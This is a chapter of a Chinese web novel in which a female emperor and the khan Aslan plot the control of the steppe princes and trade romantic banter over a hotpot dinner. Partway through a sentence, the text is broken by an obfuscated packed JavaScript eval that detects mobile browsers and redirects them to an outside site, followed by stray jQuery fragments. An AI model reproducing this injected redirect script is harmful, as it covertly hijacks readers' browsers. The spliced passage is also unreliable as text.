164. 妙计(下)

作品:《金华风月

    借粮之事好说,杨九辞年尾时候去抚边,带着人就顺道打着这旗号去招揽牧民了。从阿斯兰直属的领地起,跟着王公一路往下,还顺带将人口也统计了一遍。


    杨九辞那一套么,带了一整队全副武装的亲兵,举了火把赶着车,今日送一片明日送一片,分了好几批还真给她全送完了。中原的刺史亲自给牧民送粮食,自然着消息也跟着牧人的牛羊一道传得远了,乃至还有不少人专程南下过来看杨九辞长什么样。


    这下联姻的好处是全给人知晓了——过冬不仅不用在边市坐地还钱,中原人官府自有人收牛羊,刺史还送一点粮食和茶叶。


    但皇帝怎么可能白给粮食?只是羊毛税是王公派人收来罢了。阿斯兰左手以军令征收羊毛税,皇帝右手批些香料丝绸的赏赐下去,一个巴掌一个枣,王公们这个冬天也闹不起来。


    好处给了皇帝与阿斯兰,骂名么,反正不是这两个人担着。


    这两个人还在宫里涮羊肉吃。


    今日这锅羊肉是阿斯兰从自己草场里头叫人挑了弄来的。是香。


    “编户之后怎么办?”


    “你得我手把手教给你呀?”皇帝夹了片羊肉薄片在水里荡开了,看着那点红缓缓减淡成了浅粉,“编户之后就是按户征兵编队,你得有一支完全听命你自己的人马,全靠部落支持税收不上来,你处处受王公掣肘。”


    阿斯兰瞧皇帝吃得香,难得颇有食欲,单给皇帝涮了一碟子推去她眼前:“不是用安逸生活泡软他们的骨头吗?”


    “泡啊,也泡,”皇帝难得食欲颇佳,毫不客气便接了阿斯兰推来那一碟子,“既要泡软他们的骨头,约束他们的儿子,也要有人马震慑他们,等他们反应过来,为时已晚喽。”


    “万一反应得快,怎么办?”


    “该怎么办怎么办。”皇帝夹了一筷子小菜,“要么安逸过活,要么死,是人都选好好活。宗室之祸,全在人众,你的亲部不必大削,有人与他们制衡即可,你还要用他们打王公。”


    这些东西哪有那么复杂,无非是谁拳头大谁说了算。漠北这帮人如今能乖乖听话,也不过是瞧着中原有一战之力,阿斯兰眼见着也不是能踹下去的主。


    要么好好活,要么死,就两条路,任是谁都会选活。


    中原皇帝的粮食和钱财都是有毒的,没那么好拿。


    阿斯兰默默垂了眼帘,给皇帝又烫了几片肉:“你很喜欢这个羊肉吗,我叫他们再送些过来,这是我领地上养的。”


    “皇庄呀?”皇帝眨眨眼睛,“你的领地大么?”


    “大,有几千户人家,很大很好的草场。”


    啧,这才是真正的财主。皇帝不免瞧了他一眼,她这皇帝名义上有天下,却没哪一片正经是属于她的,还得靠底下那帮子文人弄税赋,盐税漕运海贸的,五花八门,钱是不少,可她能收上来多少全指望文人的品性,何尝不是一种望天收。


    哪像这个大财主,那块地就是他的,草原也是他的,草场还是他的,全是他的。


    皇帝便笑道:“你划一块地专供宫里吧,我喜欢吃,不腥膻。正好,黄天宝的牧草就可以种到这块地里。”


    “那种新改良过的草么?”


    “嗯,说是长得更快,牛羊吃得更好。”皇帝点点头,“只是还不知道能不能直接引种到北边去,如今还在灏州试验。”


    阿斯兰点点头:“好,我送一块给你,让那个人去种,好的草要让所有人都有。”


    但这样一来,他就不得不回漠北一趟了。


    显然小公子不想去。


    “我宫里这么舒服呢,你来了便赖着不走。”皇帝打趣道,放了碗叫人上漱口茶水来,“一个君主怎么能远离他的土地和人民呢,你回去就是了,又不是不给你回来。”


    阿斯兰直瞪着她:“但是你会找别的男宠。”


    “哎,”皇帝哭笑不得,“你在宫里我也找呀,那去年进宫的,萧常侍、曹夜者、陶常侍,我哪个没瞧几回呢……”


    她忽而一拍桌子:“姜夜者还没召过!我记得是个顶乖巧的小郎君呢!”


    这是想起来了。


    阿斯兰脸色越发拉长了:“你今日叫他伺候吧。”


    小郎君说着放了茶杯就要起身。


    偏偏皇帝不去拦他,就看着他走。


    阿斯兰这一步便是迈出去也不是不迈出去也不是。


    “你快去呀,你不走我怎么好叫人呢。”皇帝眨眨眼睛,“难得年节底下封笔,我这几天不用见大臣。”


    阿斯兰一屁股坐了下来。


    “不走了。”


    皇帝不由大笑:“那我们歇会去外头走走?这大寒天的只有你肯陪我散步啦。”


    “嗯,不走远,你月事来了,不能吹风。”阿斯兰轻声道,忽而又收了笑意,“我开春回漠北,你……你不能收新人。”


    皇帝一头雾水,两只眼睛都睁圆了:“今年不是选秀年岁,怎么收新人……”


    她歪过脑袋,盯着阿斯兰半晌才反应过来:“你怕我从学宫里选人?”


    她是那种急色之人么!又不是千儿八百年没见过年轻男人!


    “……嗯。你、你不是喜欢那种的么……”


    “我、我、不是……”皇帝瞪着眼睛,给阿斯兰弄得喉咙里梗了一块,“我也不是漂亮男人都要吃一口啊……”


    她摸摸鼻子,有点心虚。


    “就是有时候逢场……”


    其实是瞧见难得的漂亮小郎君便忍不住亲近些许,亲近多了便也就吃了……人之常情,人之常情。


    美人都有意了,怎么能不接呢,不解风情的事怎么能做呢!多伤人心呢!


    “好啦,他们和你怎么比?”皇帝深知此事不能追根究底下去,便笑道,“你才是年节宴饮与我同食的呢,他们再怎样也比不上你呀。”


    谁知阿斯兰却道:“我知道,你只是给我说好听的。”


    他轻叹一声,从宫人手里接下风帽斗篷给皇帝穿戴上:“上次你说的事,我想过了。再等几年吧,再等几年。”


    “等什么?”


    “我会从王族里挑忠诚可靠的漂亮男人给你的。”阿斯兰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994660|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拉着丝带两边一扯,给皇帝系紧了观音兜,“我们一直没有孩子,会被人怀疑,我会挑几个,给你做样子。”


    那倒也没事,反正也不会有。现下还有人鼓动选秀无非是她生过孩子,怀疑饮食怀疑男人怀疑她不养生都怀疑不到她身体上去。燕王可能是和王妃帐中不好,长公主自幼身体不好,如今更是压根儿不近男色,圣人么……可能是政务繁忙太累了,要么选进去的男人也都不太行。


    谁也怀疑不到她身上去。


    皇帝眼珠子转了半轮,轻声道:“那为何要等几年呢?”


    “至少……让人觉得我已经没有可能了,我是不得已,让我的部下也能信服。”阿斯兰低声道,“你们不是有养子吗,我也只是送给你一个养子。”


    “好。你去挑吧。”皇帝接了一个手炉捧在手心里,才先一步出了殿。


    外头正是暮色苍茫之时,天上是一片浅淡忧悒的紫,轻飘飘蒙在琉璃瓦上,显出几分深沉来。


    皇帝略略回头,阿斯兰不过落后她一步而已,迈开了腿一跨便到了身侧。


    十年了,她忽然想起来,从阿斯兰派死士要杀她那个秋狩算起也过十年还有余了。


    人间事从来难以预料,那时候谁会想到他会来宫里呢?竟尔还成了爱侣一般。


    她笑了笑,仍接着方才话头道:“下一回选秀是三十五年,还有三四年,还是你想等四十年时候?”


    阿斯兰竟然还认真沉吟了片刻才道:“下一回就很好,我记得你们有三十五岁上不侍寝的规矩。”


    皇帝缓缓眨了一下眼睛。


    “……没有啊?哪来的这破规矩?谢太君六十了还给先帝侍寝呢!”


    阿斯兰登时眼珠子瞪得老大:“不是说到了三十五……”


    “哦,那是说男人过了三十五就不能要了,”皇帝摆摆手,“侍寝不是,我乐意,你就是蓄须了也照叫不误,哪来那么多狗屁倒灶的规矩,我高兴才是宫里最大的规矩。”


    阿斯兰骤然沉默下去,过了半晌才试探道:“你……你会不会觉得……我……”


    “你什么呀?”皇帝笑,凑去阿斯兰眼前,“你怎么了呀?”


    小公子又不说话了,脸转向一边,逗得皇帝大笑:


    “大汗天赋异禀,怎么会有这般苦恼呢!”


    她前仰后合得够了,才又低声笑道:“谁说侍寝非得做那事,我们不也不是每天都胡天胡地地闹么,你怕失宠呀?可你怕什么呢,就算真的失宠了你也还是漠北的王汗,我又不能不给你面子。”


    “……那不一样。”阿斯兰低声道,面上早涨成了胭脂色,“那样就不是真心的了。”


    这倒是。


    “那你学几个新花样?”皇帝笑道,“总是一个模子多少是要厌倦,就比方说……”


    她凑去阿斯兰耳边,轻声提点了几句。


    小公子面色更是红得发紫了。


    “……真的吗。”


    “真的呀。”


    “……今晚上……”


    “好好,今晚上是非得你不可了。”